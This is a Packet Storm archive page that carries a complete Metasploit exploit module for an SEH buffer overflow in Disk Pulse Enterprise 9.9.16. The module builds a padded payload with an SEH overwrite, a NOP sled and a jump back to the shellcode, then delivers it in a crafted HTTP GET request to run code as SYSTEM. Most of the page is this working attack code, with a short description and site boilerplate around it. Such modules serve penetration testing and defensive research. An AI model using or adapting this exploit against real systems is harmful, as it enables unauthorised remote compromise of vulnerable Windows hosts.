Twenty Year Anniversary

Disk Pulse Enterprise 9.9.16 GET Buffer Overflow

Disk Pulse Enterprise 9.9.16 GET Buffer Overflow
Posted Sep 21, 2017
Authored by Nipun Jaswal, Chance Johnson, Anurag Srivastava | Site metasploit.com

This Metasploit module exploits an SEH buffer overflow in Disk Pulse Enterprise version 9.9.16. If a malicious user sends a crafted HTTP GET request it is possible to execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account.

tags | exploit, web, overflow
systems | windows, nt
MD5 | 4357afe77b3f0d509c9cfa2b76ef1a5a

Disk Pulse Enterprise 9.9.16 GET Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
'Description' => %q(
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
9.9.16. If a malicious user sends a crafted HTTP GET request
it is possible to execute a payload that would run under the Windows
NT AUTHORITY\SYSTEM account.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Chance Johnson', # msf module - albatross@loftwing.net
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
],
'References' =>
[
[ 'EDB', '42560' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'EncoderType' => "alpha_mixed",
'BadChars' => "\x00\x0a\x0d\x26"
},
'Targets' =>
[
[ 'Disk Pulse Enterprise 9.9.16',
{
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
'Offset' => 2492
}]
],
'Privileged' => true,
'DisclosureDate' => 'Aug 25 2017',
'DefaultTarget' => 0))

register_options([Opt::RPORT(80)])
end

def check
res = send_request_cgi(
'uri' => '/',
'method' => 'GET'
)

if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
connect

print_status("Generating exploit...")
exp = payload.encoded
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
exp << generate_seh_record(target.ret)
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
exp << 'B' * (5000 - exp.length) # padding

print_status("Sending exploit...")

send_request_cgi(
'uri' => '/../' + exp,
'method' => 'GET',
'host' => '4.2.2.2',
'connection' => 'keep-alive'
)

handler
disconnect
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    17 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close